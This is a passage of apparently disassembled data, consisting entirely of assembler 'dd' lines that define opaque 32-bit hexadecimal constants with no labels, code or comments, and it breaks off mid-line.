dd 0A71D50E8h, 0BD782807h, 0A020660Ah, 0B5719h, 0EB95BE94h dd 16588CCEh, 0FF8A600h, 0C7D83683h, 327428F9h, 4CCD498Dh dd 7EE8DB00h, 0E05F79A5h, 8C7D1100h, 71EE3062h, 647A48D8h dd 92FFEA00h, 0F15E4201h, 0B91C6D77h, 379F4F50h, 483A51C3h dd 26C6B0CBh, 0B5FA38h, 144297A3h, 0C0998C6Ah, 0F808AE28h dd 0C6FE4801h, 9CA82C4Dh, 8C408AF1h, 0FA6440h, 607F5125h dd 45CE8847h, 4F54A612h, 0B8C99840h, 1885AC58h, 0D005D661h dd 0A31E8415h, 694013F5h, 0BC500C94h, 0C4E8E4h, 0D95FE3E2h dd 209D972Eh, 22B5961Dh, 3EA0174Dh, 7E60DC47h, 0F7B152h dd 71761AA4h, 0F9EBBAC7h, 290EA00h, 0A86EE886h, 1B767Fh dd 46768AAAh, 2292253Bh, 0DCC7DE04h, 1C819F0Dh, 8C6042CFh dd 0B8AD0089h, 59C34E5h, 8100AC45h, 2E088DD0h, 0F178DA9Fh dd 0EC46FBD8h, 6CDE01E5h, 537B916Fh, 258EF84Ch, 2A644300h dd 0DD7C3E95h, 0A84A00D4h, 927AE09Ah, 0FD0462A4h, 0E6860D03h dd 0A90099ACh, 6A2C35CBh, 5E72832Fh, 41E7000h, 0E7817F5Fh dd 116D1DB9h, 308B85E2h, 0B2E8077Bh, 6AA0CF27h, 0E7851962h dd 0F278C139h, 0C9D43F00h, 2F33B003h, 61EE24CEh, 0BFB801CFh dd 24223CCAh, 705CE6F4h, 840101FCh, 7367157Eh, 0DDC2E844h dd 0ECE894D4h, 0BF790027h, 268B3BA1h, 0CB0796B1h, 87540B92h dd 0A753E751h, 4243FCh, 0FBC48B49h, 0DDD077FEh, 0A3566105h dd 5080AD7Eh, 0BBE8F9h, 5A4D80A4h, 0F4530DA1h, 8231CB00h dd 0D8406350h, 0C27C0BABh, 0D5804285h, 8D9AB170h, 2C16F400h dd 0DD5BDABCh, 201C00C1h, 99F3E282h, 623B5D46h, 0FC00795Ch dd 30345EE8h, 75F78841h, 0C92A0BA6h, 0EC039C38h, 4EE5213Ch dd 15E193D4h, 0C03927B8h, 0AC90324Ch, 94E3D903h, 0F0499BFCh dd 0F40ACEh, 12B1424Fh, 3FC32A2Dh, 0CD7B700h, 47DD6B92h dd 18B0A3h, 0EFB84A4Bh, 0C138EDB3h, 80348439h, 7D51EEA5h dd 0FBF89Eh, 0A11C632Ah, 0A0528990h, 267070F7h, 3914C50Fh dd 8B260E3h, 17F72F1Dh, 9564BAh, 54F187D4h, 42165775h dd 7040B340h, 9EC81C3Dh, 26E7E47h, 8E7ACAE0h, 20E06A99h dd 2900661Ah, 912E3994h dd 0F9847h, 88E875F3h, 0F9D6CA17h, 43A3441Fh, 0E0C430F3h dd 60F5D8h, 6418E18Ch, 0FE5405F4h, 0DAEB8200h, 3BCAA20Bh dd 0F3755C15h, 3ACF900h, 0F7CE9337h, 56DCAB00h, 0E2416B14h dd 0ECD1008Bh, 0EF307C7Ah, 674CD8F1h, 100200C1h, 0D0857FAFh dd 225718DCh, 26B92EDDh, 0B2E2CF7Fh, 5594AF00h, 0A116E5A2h dd 29950014h, 0DBE345B1h, 0A30080EFh, 675E0FCDh, 94F6C2h dd 0B68F501Eh, 9E1D7912h, 0D6041F00h, 4CD09F99h, 0DAF00219h dd 0CDF1985Dh, 175AC080h, 67F62724h, 64770700h, 8502046Eh dd 0CEEB989Dh, 93E09EACh, 43D4BC80h, 2E0656E8h, 1BAAE6A3h dd 0D77F0428h, 0C0D89E09h, 8959917Fh, 0DC5AD109h, 4EBF0021h dd 26C3D71Fh, 9A84BACh, 0DC005D44h, 0D0D523AEh, 359E2600h dd 94FDE329h, 0CC444C3Bh, 0C00F8C80h, 1D006AEAh, 0DB7C7981h dd 2628A1h, 4AB4DD37h, 646E68ACh, 31622204h, 0DC8070CBh dd 8BE84446h, 67B8D2F3h, 9F01BFD9h, 885C4B1Ch, 0E840C422h dd 3AB16Fh, 1F946A58h, 445BFA57h, 3E89680Fh, 0CD03C095h dd 1D8461D3h, 0C0348BF8h, 60E2FF20h, 7D009ABEh, 65FE5364h dd 7B03543Dh, 0C86600A2h, 0FC774108h, 0D4FD6AC5h, 5F1F837Fh dd 68C01ECEh, 0EE0C5176h, 15440064h, 7B7A4A52h, 0A9F478ECh dd 1918AB00h, 0FBACA3B0h, 6BAF070Bh, 0B0971302h, 0B8766C7Fh dd 25BEDF00h, 0EC633DD8h, 16A803D7h, 554BB1E2h, 9FC63AC0h dd 0EA7EFD06h, 164098BDh, 4048E13Dh, 1FEEDF8Ch, 8700433Ch dd 82DDD201h, 0A8A8E861h, 2F1ACCh, 0EAF21420h, 0E9AFC201h dd 0A2E038h, 0EB21DDA6h, 49BF8h, 7D4F16B6h, 0ED277365h dd 1CFAC400h, 0D87F708Eh, 18DA01A7h, 0FFFDD6CDh, 0BA1A0371h dd 2A8650Fh, 0BD7215C9h, 0D8F1BA41h, 0C3A0B8C7h, 2C3E4C9Ah dd 4AF20083h, 0D3E3CE0Fh, 0FDD007E2h, 2060D4B4h, 3BF46A4Dh dd 36426E0Eh, 982DA032h, 0DAAEBBh, 710CFF83h, 9B1CB926h dd 0A557E518h, 737268h, 0EEDBA49Dh, 8E6D42F8h, 6E2C9E98h dd 0AB0F082Eh, 16A0004Eh, 7E2A4C70h, 0BC7C0B94h, 0A880595Fh dd 0D14071A7h, 12FEE202h, 0E90FFBC5h, 0D8E40C08h, 758D00CDh dd 1B19602Ch, 0B90380D5h, 88E508B8h, 0CBE19014h, 0AA8E00A9h dd 0D4CDEFEh, 1C006ABCh, 0F19CF442h, 0F3C5387h, 0C8EAA152h dd 0FACFCBE1h, 0F558F4EBh, 4832B901h, 3C0B77BAh, 0E72F70h dd 0C5AAF97Ah, 34D8C6FCh, 0A618000h, 0A2E5BB03h, 40189CB9h dd 0E890D811h, 7606A02Ch, 0B4815200h, 1D9510Fh, 8A492C38h dd 0C441ABCBh, 2B141413h, 0FA4C7B9h, 8052DF64h, 608EFAE6h dd 6305283Fh, 194006A8h, 1116434Eh, 83CEFC00h, 7217D22Dh dd 8DD4004Ah, 909F87C8h, 0C53B1470h, 7B8A00CDh, 50755922h dd 0EC951347h, 38440092h, 94E8B55Fh, 0C4DF7A04h, 0D8F0818Dh dd 9CF80247h, 0C492F48h, 4136FC68h, 0E87E380Ch, 1251092h dd 5080A114h, 80208674h, 0DC55E3F8h, 3870E9h, 3C430E8Ah dd 69CD4FACh, 819ED81Fh, 98A2D300h, 7A6086B1h, 3ABD017Fh dd 3E3B8A6h, 0ED818641h, 2C79182Fh, 16C196h, 73ACB52Bh dd 28004871h, 3B47D5Eh, 0EF2D38h, 0CCE96E3h, 6394D237h dd 0FE28FB60h, 0F02081h, 0CA887EAFh, 6B5918CDh, 265C3CB8h dd 7CC22EF8h, 65E1DB00h, 3EF373DAh, 54803790h, 5D59F215h dd 2A006EF9h, 0DBAADFA1h, 12C95372h, 0CA3104h, 0C8A2B914h dd 61009823h, 8E03D03Ch, 1DC0D3h, 50650260h, 0B906E349h dd 5E809700h, 9AB4C64Eh, 0E61D005Ch, 32593CABh, 35006084h dd 0B2882D1Eh, 7669701h, 0F106561Fh, 0D40C70B1h, 2001EB7h dd 78E87793h, 1F94121Ah, 58681382h, 0C15A98E3h, 16AAD300h dd 8B592CFDh, 4E5D00CCh, 0FA146D70h, 0B0C06B9Eh, 0C9F61A16h dd 0EBE812D7h, 60A10E75h, 0EA37A6E0h, 0B4005EB6h, 1A74614Bh dd 1ED2DE5Ch, 409EDF42h, 7A233D6Ah, 0CD00F910h, 0AE8971D7h dd 338C2E8h, 835F981Ah, 73975305h, 87E40DD8h, 53A2B7F3h dd 283DF8A0h, 0A70E8724h, 0B3A0E53Ah, 70C07Fh, 5EEC14B2h dd 8E1FC85h, 7C820F01h, 9E6653DAh, 0DDF004D5h, 96B800B1h dd 0F85E106Eh, 0D0B0FA07h, 0A750EA00h, 330FDC02h, 7E9D7C49h dd 39E6EE63h, 980FEDEh, 0A705AE8Ch, 0F3046F76h, 0F6E79DA4h dd 55C4C0A1h, 1EE900D3h, 0B15A30B2h, 7B008F2Dh, 4F084886h dd 48CEA62Fh, 0A109B9F3h, 308EC50Ah, 0DD210BC2h, 0F82444C8h dd 6F50221Fh, 0E7F1B300h, 7971CC5h, 4D9E948Ch, 4011A07Fh dd 95060AA6h, 6224F92Bh, 0F09E0011h, 0DE217DE3h, 0E07E33B0h dd 26E5B01h, 57AE53C0h, 0C6DBC8h, 0EADFE98Fh, 0E1B1DE3h dd 9D717B04h, 0D2848391h, 3B46E4B0h, 828E7F17h, 4AE07A8Fh dd 43B2015Ch, 63C65A0Eh, 32254058h, 0DE2F81h, 46270A12h dd 0E604688Dh, 0EFED5900h, 0A4DF47CBh, 3699003Fh, 0F479FE28h dd 7D0FB503h, 0E0706B39h, 0EB87FF25h, 7B080769h, 0C040C98Eh dd 10B3D2Eh, 0A96FE200h, 8B164B17h, 0D3940080h, 34E84C33h dd 960235BBh, 0C8A18A67h, 9494C0A4h, 0E29800FCh, 7D816B4Dh dd 0CF79F932h, 211CC017h, 87D72087h, 637397A0h, 7EA10079h dd 0BCB91DF7h, 6A00033Bh, 0A9DC6D1Bh, 0FBC1B8h, 0E0E5D7ABh dd 0E60E79F2h, 1000D7Ah, 0C2AE4BC8h, 0E3FC37Ch, 0E89567F4h dd 813002C3h, 0FDEA68CEh, 0CB04B279h, 0B56DB8F1h, 366CA0h dd 7D2C6009h, 4E4D8F61h, 0EBE3E100h, 223FC540h, 0C5DF0FDh dd 0D47A7680h, 94A0F458h, 8900B835h, 6E0BB177h, 26235D71h dd 179BEF19h, 0B5CC00A0h, 0DF48B73Fh, 0DECA7F03h, 9028BD35h dd 7623D68Ch, 0C8BB1CD0h, 4CA651h, 0CD592DD2h, 57008B0Ah dd 0ABF7D069h, 0F24CE279h, 899000D3h, 209A134Fh, 32016DFAh dd 0F334FE76h, 0B83018D1h, 9C930Bh, 0D5F6787Bh, 4D138AEBh dd 400ED10h, 70DC3025h, 69500AAh, 81DA0ACEh, 0E31354E2h dd 17009DF1h, 0FBEE304Ah, 787A026Eh, 420CBDA8h, 9B86E060h dd 69AE4Ch, 0FB118D76h, 48C36C55h, 76B45Ch, 2BC7A416h dd 0DC340222h, 9347B100h, 280E607Eh, 92CC1C95h, 4D460004h dd 1049CADAh, 0AE003894h, 0E0B2301Ch, 0EF8601B8h, 5CCD72FBh dd 3A688520h, 0F800053Ch, 0BB3E63A2h, 0EABA282Ah, 0C41C009Ch dd 331AEF29h, 5E03F3B5h, 208705Fh, 5A86E809h, 43F2DBh dd 2A77A0FFh, 0FB3CCAB1h, 20E5DF1Fh, 9D420402h, 0C023E2A5h dd 24DDFF55h, 1F8525Fh, 933A723Ch, 0EAE1C895h, 1174800h dd 0D1092EF5h, 9025007Eh, 9C4ED90Ah, 9209A7EBh, 80BBC623h dd 4196A124h, 3B5E38BCh, 3CB888Fh, 4401A4C0h, 8930F0A9h dd 1A4AC040h, 8AFD009Fh, 504162C3h, 70F1705h, 0E09651CEh dd 0BF6E337Ch, 859C1A43h, 38C388F5h, 9E4C45D0h, 47E82800h dd 2B41C517h, 4837003Ah, 0D2B64B8Dh, 1117DBEAh, 7007CD3Fh dd 4457C6AAh, 0C2D7C4D0h, 36F2BBh, 344E273Dh, 68CF9F98h dd 0D5658000h, 0A5AE96Fh, 428B1219h, 0F97C01F0h, 401B0FD0h dd 714DAC82h, 3F9C0B00h, 0D9E3D424h, 0FC4FF2CDh, 0FE5C01EAh dd 0AA3DBA85h, 0A2DFF452h, 8A0024E4h, 11135D88h, 6FA347h dd 80854143h, 6A55025h, 0ABFED6C0h, 5198E99Ah, 0C440E838h dd 0DCFC2E57h, 0C9FDC318h, 2903774Ch, 0D6BFD091h, 0F76298E6h dd 803500EEh, 8EB640D2h, 0DA0091EBh, 0FBB34DF3h, 78C6D7h dd 4CDD572Eh, 1E2751FEh, 87F6CF0Eh, 0BD77E363h, 1AFF90DCh dd 7D8FC45h, 36F897AFh dd 4CB81047h, 0AE00CA16h, 481D791Bh, 0F4331868h, 4793090Ah dd 3480DF1Ah, 9F502E60h, 35CDB800h, 0F6F31623h, 190E01DCh dd 0BE890471h, 8C3CF82Fh, 6D56FD1Fh, 0EC5BC9h, 0DEAB31C2h dd 0A9EE0028h, 714C9FA0h, 0D1F8245h, 86C1BB03h, 905C2F95h dd 0C6A070h, 3F671ECFh, 0C1825B6Ah, 0BC7E2800h, 0C38DF7A8h dd 692E00C4h, 6E51437Bh, 0F900AB95h, 0D83A2C20h, 0E8A85C7Fh dd 0D3010554h, 0C012CAD4h, 4E13EAC4h, 0E7140E01h, 0F6884397h dd 0EA0D5D70h, 0C045006Bh, 64276019h, 0DB982653h, 0A7010C90h dd 6A384255h, 0A42CF657h, 0C6D4004Fh, 1EB4019Fh, 0F10043F4h dd 0B25E5475h, 18871DFAh, 28D6C009h, 6E7C27B0h, 1128E901h dd 0FB5C4E42h, 50F3C034h, 991835Fh, 92C21DB4h, 0BB51481h dd 0ECAEF1D9h, 49001272h, 0D415385h, 0D261C1h, 6E4BEDD6h dd 0B1CE7A7Bh, 59D1D01Fh, 0A48EB0F0h, 97051A07h, 0DEDEA969h dd 1EAB5B03h, 29B48845h, 79AC03EBh, 4C78A45Ch, 0B232290Ch dd 34A882h, 0EFF2B550h, 186169AFh, 0A06CBB0Bh, 596C2029h dd 7F093981h, 85280115h, 0B465385Ch, 3CC0CEE2h, 3F1DB16Fh dd 68CAF6BCh, 9400D44Ah, 35C2D98Ah, 99BF0189h, 0CAAA16ABh dd 755FCC26h, 4E004877h, 85EBC887h, 3C7F8B1h, 1AC5276h dd 0E4E08ADDh, 1309B907h, 205A4C71h, 0DB38D114h, 27350286h dd 8F190FE4h, 9D0348F8h, 8A460BA4h, 66F802AAh, 7EF3E6B7h dd 0F9439C81h, 3A87E49Ch, 0B9D94930h, 3A1B679Bh, 94937960h dd 6FF4436Bh, 9DE07790h, 0E6007C0Dh, 112345C9h, 121913h dd 32E04BFBh, 0BC44B199h, 0A6B98806h, 4689AD8Dh, 0CD500013h dd 377DD453h, 49CB482h, 34378B7h, 3C660BEEh, 0E800F611h dd 0C008118Ah, 59D0E685h, 0F13300FFh, 98B5AA13h, 0B18E1DEDh dd 4F2E88h, 25740DD3h, 0BE0028ABh, 40F4440h, 2C727173h dd 7AD5032h, 3C784347h, 0D1006410h, 0D6F8E16Eh, 8D31B7h dd 8E04FDEEh, 710C20EFh, 0B4AD1204h, 5340F97Eh, 0A49203E4h dd 0E3957F1Eh, 0A284B100h, 92230560h, 35821210h, 21D042EFh dd 23C155BEh, 413424FBh, 1A943A04h, 0B4F0E069h, 0C77E3C24h dd 11320BF7h, 7E786639h, 0CA3511Fh, 5849470Ch, 3B81040Bh dd 81A5176Bh, 40677642h, 535083DCh, 5441F10Eh, 80424904h dd 0F9D48598h, 784900A3h, 59BC9CA2h, 0C813B13Ch, 0DC07C748h dd 3E40576Dh, 7EEC362Ch, 0DD9705C2h, 0C07DAEFDh, 9EAC2940h dd 0FA0EEF00h, 3EEC0B88h, 4AF33E62h, 2B1C2380h, 0DE9FE8A5h dd 91F63000h, 0C4897A8h, 43D13882h, 0A520A694h, 56D05909h dd 0CD5FD000h, 242C6A1Fh, 3500A011h, 6D216588h, 7A8000D5h dd 0D84F7F49h, 14002513h, 22C4353h, 83D9FBh, 3F829869h dd 991F360Dh, 2B1C9375h, 0F5022AB0h, 5CD0D563h, 0AAD80050h dd 44072194h, 1B69AE01h, 1E182EAh, 4EC39850h, 3DBC1EBFh dd 0CC5DC076h, 0C6D55811h, 29468F0Ch, 3CCDD05Ch, 260EF173h dd 0A500D2DFh, 29D927DCh, 77A4E33Ah, 534A5E12h, 6936A840h dd 282940Ch, 6C1A549h, 8492F4Ch, 8DE020DBh, 12BC0402h dd 20554D08h, 0E6DA072Ch, 0BB85E902h, 0C3CE8E1Eh, 0EF73F8C8h dd 686639AEh, 0F29FF000h, 0D5C2DB6Dh, 35006BF2h, 0B08340DAh dd 179E73AAh, 0F3A6F70h, 93CF9A1Eh, 9C22B5A9h, 0E45CEFF7h dd 4EF3A930h, 7EE1E4C7h, 0AFDC0335h, 0E5EEAB2h, 66EC541Ch dd 0C5C328F4h, 0D020F2EDh, 0CC970A88h, 16A0F5CBh, 55AC00C5h dd 1CDE6D65h, 62E83E1Eh, 0ED943240h, 3D20879h, 0F045122Ch dd 2AF89067h, 0F700736Dh, 0F1FCD613h, 997B827h, 56559138h dd 9F599CD8h, 0FDADC730h, 57CF7330h, 2D430372h, 6C8A07F7h dd 18EF213Ah, 0CDD94A98h, 0BF450248h, 0ED77AA97h, 60187878h dd 8B6CA459h, 82B3048Dh, 0C0D33320h, 0EF89142Ch, 0D523A91Dh dd 9C6A4940h, 9F02A3h, 17719DF8h, 134AFBF4h, 0D5C30912h dd 4D431F00h, 13C75CABh, 47214122h, 42A29Ch, 9DFE0693h dd 8C7FEEC0h, 9A70183Fh, 0A5D622CCh, 0D35E509Ah, 0B2639003h dd 4C909C31h, 0B3E32ED9h, 27A0208h, 3CC52BA0h, 1DFCD182h dd 59645C61h, 53C67F5h, 9D5AB7DFh, 5D1F9C40h, 0E99DDF2h dd 667EE330h, 67D9C9A5h, 0C15C803Ch, 5900FC39h, 1564B980h dd 0D9775CEh, 49989AB8h, 0F896C4D0h, 0B300997Ch, 1F4D0F6h dd 184EE4A7h, 992A31E5h, 5673E0A9h, 13200900h, 835FF106h dd 8640B37Dh, 8934AA5Ah, 0D54E7C01h, 792392A9h, 0B095A0D8h dd 853800C8h, 24F9CCB6h, 0D100E394h, 8A6AC9Ah, 9C299C6Dh dd 34E71708h, 0ECB03028h, 44B0EE3Dh, 0FC391728h, 0A3BE8880h dd 0E8CD5200h, 0D9B24ADFh, 406201A8h, 0C176FF5Dh, 0F3D8829Ah dd 0C0E1A202h, 0C3AD4Bh, 84DDD545h, 71389D63h, 77AEFB1Dh dd 2D2CEFE5h, 0E2A33020h, 1A58A2B8h, 0C94E1D91h, 5063BEC0h dd 0FAE89447h, 35EDE1B5h, 0A99F1180h, 49E39BB0h, 2454C63Bh dd 15B928ACh, 1A0D579h, 7E366B4Fh, 802410A3h, 7B751B62h dd 77902128h, 0DB2AC731h, 785A940Ah, 0C86C840h, 791EEC5Dh dd 0F6ED004Fh, 0CA972F3Eh, 450BDEF5h, 9E8CC07h, 0F81410A8h dd 86714070h, 111B9D30h, 7E80619Eh, 7626C0E2h, 0DF6851DCh dd 4FCCB000h, 5C8FDB71h, 763F406h, 601A2421h, 0FF4E20B5h dd 0BC005AFEh, 4169A7A3h, 1CDE805Fh, 2F4CE5Bh, 0EEB15112h dd 0D325CC0h, 0AF607000h, 0DE7FAEF0h, 0BB753E22h, 5C1D5885h dd 0FD508048h, 9A01A85Bh, 0F34B6F10h, 586020CCh, 0ECCE754Fh dd 0AC2F0777h, 277040D1h, 0BD8A3022h, 33072AD4h, 7658E4Bh dd 3C770240h, 29353905h, 26127848h, 0B9C0A01Bh, 2E109F00h dd 0CFF97C54h, 5C46259Dh, 5327060h, 0C05AF300h, 6A28CEECh dd 104F275Bh, 0E1D46848h, 0A5520507h, 3BC0A2F4h, 4E6F2F88h dd 9124900Ah, 0A50038F2h, 28C60C1Ah, 515BC23h, 0D1C4181Dh dd 0E7A0B4EBh, 39EFC203h, 0D83DB055h, 1217D2Bh, 0EA44A213h dd 0ECB8DF22h, 3660101Bh, 9FF875C0h, 3158043Ah, 0D0F1EF1Ah dd 4EBA640Ch, 95CAF5Dh, 0C0A86DD2h, 0B8C17568h, 0F18E0054h dd 0F2E9F438h, 1001618h, 0ABFAEBF5h, 0F6998Ch, 8D21570Dh dd 0E91A77D3h, 9AB7D701h, 0E40E95C4h, 1E384862h, 190948C9h dd 32809BEAh, 0FCE832DCh, 0A3CA900h, 771D11A7h, 16BC182Bh dd 5CB990D5h, 65AC3D00h, 0A0710DAAh, 0F4D8E568h, 2F3700EAh dd 0AEE897DAh, 3550F8E9h, 0BC038590h, 0FA268E13h, 0EA21001Bh dd 823BCB9Ch, 5C005427h, 9EFD2284h, 746CF8Ah, 0DD4D4A76h dd 916A70D4h, 6524415Dh, 98281AC4h, 3128C360h, 18EAC80h dd 58BD937Fh, 323C6813h, 0E4978134h, 0D2E86D38h, 9FDF6CBh dd 0F0F46C55h, 0E5317080h, 0F32617D3h, 0A300A4F6h, 34ACB860h dd 8362006Bh, 3E01B4EAh, 0CE01BE36h, 46BB4A38h, 98328A39h dd 4CB040D7h, 0D244236Ch, 74252003h, 9665EB0h, 0E827D0CCh dd 48A5DCA2h, 748D4F25h, 93011833h, 8B04F62Eh, 0EBF710B5h dd 0DA0B0298h, 0EA15E2C5h, 0F157D4C0h, 93843Eh, 86129127h dd 381DC08h, 28B5AACAh, 65F81F55h, 0A107D66Bh, 0D3D0A39Eh dd 3DC29F00h, 61109690h, 32A64A07h, 1C27C4CCh, 0D224E2h dd 0BD1FCEC8h, 490174EAh, 0B90AC61Ch, 745224A6h, 300013A0h dd 0EDA61ECFh, 1242E873h, 2F08AE2h, 0AB895964h, 7BA44C0h dd 3E9CFC4Dh, 249D2E7Eh, 40D36760h, 4F0D0463h, 0B387B99Fh dd 2491054Ch, 9852CC2Ah dd 2D13006h, 938A24D0h, 0A97681A8h, 2DA68D78h, 78E5938Ch dd 0F2EC1835h, 348E48ADh, 0C0B7D31Ch, 0DB385A77h, 0FF282C2Dh dd 7539FC0Fh, 19A1034Eh, 0E03FC572h, 5422501h, 457DFC1Eh dd 0E850664Fh, 363B0500h, 0F8833EE1h, 33D50066h, 46A1719Ch dd 0FF485E48h, 0D80D099Ah, 52B202E1h, 35CCFF8h, 2DA8EC7Bh dd 854FAEC0h, 2000B4B8h, 2E26C882h, 30417466h, 3D38C9A6h dd 9E007801h, 0B954D8CDh, 1F9F72D0h, 40041E65h, 951CE288h dd 62F6710Ch, 80A9B738h, 42B60DECh, 0F47848h, 11010A72h dd 0EABFBC4h, 0EA507C02h, 614957FFh, 0F9CC2908h, 0A9D60013h dd 0EE2458CFh, 6F175F6Ch, 0A04BCAAFh, 0D2C4E0A7h, 0A8817DF9h dd 9E2D9D8h, 51F04D9Bh, 8C35B460h, 1A9E390Eh, 33D261C1h dd 9464B35Ah, 477702F8h, 0C53AC4B6h, 62578660h, 9080452Ch dd 0ADBD053Bh, 60C85271h, 0C2223E93h, 6CA43001h, 60489988h dd 63004494h, 4D3F6B2Ch, 0C324D4h, 60A49A2Ah, 0C8038630h dd 0E051D63Dh, 3E63F7A0h, 0A5690092h, 8394ED9Ah, 0F52C5F4Ch dd 50012332h, 9889BA68h, 2ADF420h, 25BE13A4h, 98C0147Ch dd 880121FEh, 0BAC7F91Eh, 0FD1C3BBh, 28F3CD4h, 0FC9FE01Fh dd 0D0C0B58Ah, 7000CC69h, 1C434014h, 76267EB8h, 0C1E20023h dd 38CC354h, 531CAEB5h, 8C640993h, 5FD58A01h, 3CF446A2h dd 0B1CBC89h, 600E6D0h, 0BE20AF8Eh, 0C4683F0Bh, 0CB3C804Dh dd 0EA6E3BCAh, 42B8026Dh, 2541B401h, 1E5C6C50h, 81AB3A5Bh dd 0F10219Fh, 0F7EC20CFh, 45A717D5h, 9960B94h, 0AF014C7Eh dd 3E43771h, 0EE07F5C0h, 0F4A090D4h, 1CB67ED2h, 0B93951B3h dd 0B7464280h, 0DA4378ABh, 15C451Fh, 0ECEFDFC0h, 76675Bh dd 0A57FD8Eh, 0F5A44826h, 470F20F2h, 0E0EDD95Ah, 7C06CE07h dd 0A7AF00FEh, 1A08BB1Dh, 3092F1E3h, 30D039EFh, 861DC81Bh dd 4BC32434h, 3F270018h, 0EADFAA10h, 30054A13h, 975ED500h dd 17E8B2Bh, 0FD9AE8CDh, 0E1ED69F8h, 2014205Fh, 5AB03E00h dd 3530DA3Dh, 0B973ECh, 0FF72C932h, 8CEB6F5Ch, 60A081C8h dd 907F8637h, 0CD5D3F02h, 42C6C116h, 30E46085h, 774500CEh dd 92C40C9Ch, 0D750BCD3h, 18094B8Ch, 0D99FA0B5h, 8DA04FECh dd 16885ED7h, 0A2047D00h, 9D0D555Bh, 60EC0167h, 84B69557h dd 3AF1809Fh, 2250AE4Ah, 61F0F7BEh, 0BA2500AFh, 0FCB4F838h dd 0A5010B88h, 96756477h, 84D4BEE4h, 0AF390104h, 0C120BF08h dd 8921E03Ch, 0CB7DC700h, 1278864Fh, 4BBEA6Eh, 809CA45Dh dd 0C08E849Bh, 0B4DD33F0h, 75882F00h, 5148F966h, 0E7BB00CAh dd 251852F0h, 0DCE195B0h, 200F3C4h, 0BC11DB6Bh, 1E1E8329h dd 858F080Bh, 4E22EFh, 0A82658A8h, 0C54BB0A6h, 0EEEB34C0h dd 11F2E4h, 0B6812C49h, 841495C7h, 58EF500h, 0DAC453FEh dd 8309125Ch, 0E1E60136h, 0E8440798h, 3A02AA5Dh, 0BE39BB03h dd 3E44D4FDh, 156D0FF2h, 49008160h, 0B8A8FEB5h, 486CD502h dd 0E8728555h, 5E44FF2Ch, 6E7EF0AFh, 828E0C27h, 0C0E1170Ch dd 1D067Ch, 0BDAF933Fh, 0D013EEC4h, 0ECB45D00h, 0D3F35B96h dd 6E1F00D5h, 8843DF23h, 172C26C1h, 0F0304D03h, 20B9D0h dd 85DD68CEh, 6404753h, 0EC3E0C06h, 0BAF7C1h, 99AC627Fh dd 619D674Dh, 52BF2B03h, 0D03B8241h, 1793D55h, 0E09C9210h dd 8A392D35h, 8F16A136h, 65442826h, 0E4F6BF40h, 7F00EE77h dd 3CFFA50Dh, 3588F7h, 0E007E553h, 48651542h, 2F008E73h dd 3443D41Bh, 94512DADh, 0ECFE00C8h, 7181ABF1h, 0C6275700h dd 0E7E1372Eh, 440B3BB5h, 0FA795580h, 0D972E43Dh, 0FD768400h dd 0CBD7B3A2h, 323700E6h, 0ADB96C3Fh, 0EAEA6D0Ah, 27F49D41h dd 1A41CF2h, 0C2F745CDh, 0B7D49228h, 2C866C0h, 0B855D12Ah dd 1C1C315Eh, 0B6305E00h, 16CBF409h, 7E7FDAh, 201F672Fh dd 0EE005427h, 26ED7D4Fh, 0FE2169h, 0C33E5CE7h, 852FE0B3h dd 7BA11E00h, 1C3D23DDh, 418B808h, 0C8FECBB6h, 5C34ED0Eh dd 43007D70h, 54C765F9h, 927857h, 0A1890572h, 0D0A9D917h dd 453F1E00h, 7094A2BCh, 2A5C1776h, 6B4001Ah, 0ACBEC09Ch dd 25F822E7h, 0D530C06Dh, 3CDF4EDh, 169FAA70h, 17B00998h dd 7F12F1EFh, 0DC1DE60Eh, 0CA9000EDh, 329FD8h, 9BF8EA2Ch dd 15D17335h, 35C0548h, 0EEF7B98Fh, 2E117734h, 17FDBBh dd 3C9FC4EDh, 1807C9F4h, 0E283BCA6h, 17280706h, 0C1CB85h dd 538DEB04h, 3250F106h, 820B43C0h, 0F97B9Dh, 68B13F78h dd 341E836h, 0BF9944A8h, 9DE00E30h, 0FD1E7085h, 80004E8Ah dd 99A31442h, 48580E12h, 0C6430FC4h, 0AF88C19Fh, 61F40964h dd 7303B507h, 60C13C51h, 0B034F365h, 1314002Dh, 3A822887h dd 340006A5h, 98558D71h, 995A865Eh, 0FA003C0h, 80FD73D9h dd 0DE15C98Eh, 0BA4EAF02h, 0F4FCA63Fh, 0B3610044h, 33375C31h dd 220815Ch, 41FF57B5h, 430DEE5h, 770735Eh, 93F0AA26h dd 7F292Ah, 6BF9C652h, 2BD427D7h, 2D824738h, 0BCCECD5h dd 75AD4440h, 80EF7804h, 370AC418h, 18BE4501h, 61F6ED94h dd 4FF12E0h, 93778D92h, 0DB64C0FCh, 0C00FB98Ch, 0FF041B2Eh dd 0A1859200h, 210A5C2h, 0A99562CFh, 0BCF4EBD2h, 2A07C380h dd 86DF69h, 17AC0664h, 92F53971h, 1F0038BEh, 0BE822329h dd 6A09164Fh, 814C0058h, 0A24C1279h, 66A5B002h, 40AC0E14h dd 3CF88930h, 0A79CDD57h, 0E895002Bh, 873A04F5h, 2E7B0701h dd 0BFB22DBDh, 17359460h, 82D0E0h, 869D7338h, 2C1F1E1Dh dd 3340A2DEh, 9FB9EB8Dh, 6D041D25h, 0B278CEF4h, 9AE1AF2Eh dd 206B0DB0h, 39009BFAh, 1099E43Ch, 236762Ch, 0C802D5Dh dd 79CD29h, 10846DEh, 0C0E08AC1h, 3834CDD5h, 0D20F0044h dd 0C49856FCh, 48945536h, 24FCF42h, 0BA6133B2h, 94003BDBh dd 87EF098Dh, 0C6570404h, 0A01E5160h, 755EB670h, 9433E4C0h dd 46814C56h, 34CF8000h, 5EA69390h, 398EF14Ch, 23C70F09h dd 0B68380E9h, 0F00669AEh, 0AACA0389h, 81B325EAh, 3D0F35B0h dd 468FC500h, 67ED2F77h, 0D40D3C14h, 1E5FC1Dh, 0AB20E25Fh dd 7A74704Bh, 5C805D00h, 0D6394028h, 0F5CA0288h, 68015119h dd 0C4A9B060h, 4AAF7000h, 616F5736h, 0ABA2001Eh, 0A747019Ah dd 69EE0B68h, 0DAA44100h, 18859FACh, 0FDEC008Eh, 2ABB05FEh dd 0DD3C165Fh, 0C100F6A2h, 0E0880DA4h, 0A5DCF62h, 0AAEF876Fh dd 32B401F0h, 0CE79ADh, 2924D6h, 0F49B9B3h, 6C665E60h dd 98FFC924h, 7782AC06h, 9D7500A8h, 7D1CF1CAh, 4B091AD5h dd 70BE80BFh, 91040EA4h, 0E542C275h, 0F0870B92h, 0E8DA151Fh dd 3018C048h, 0DB25E6h, 0D9FB27AFh, 6D0F9B94h, 1D80C89Bh dd 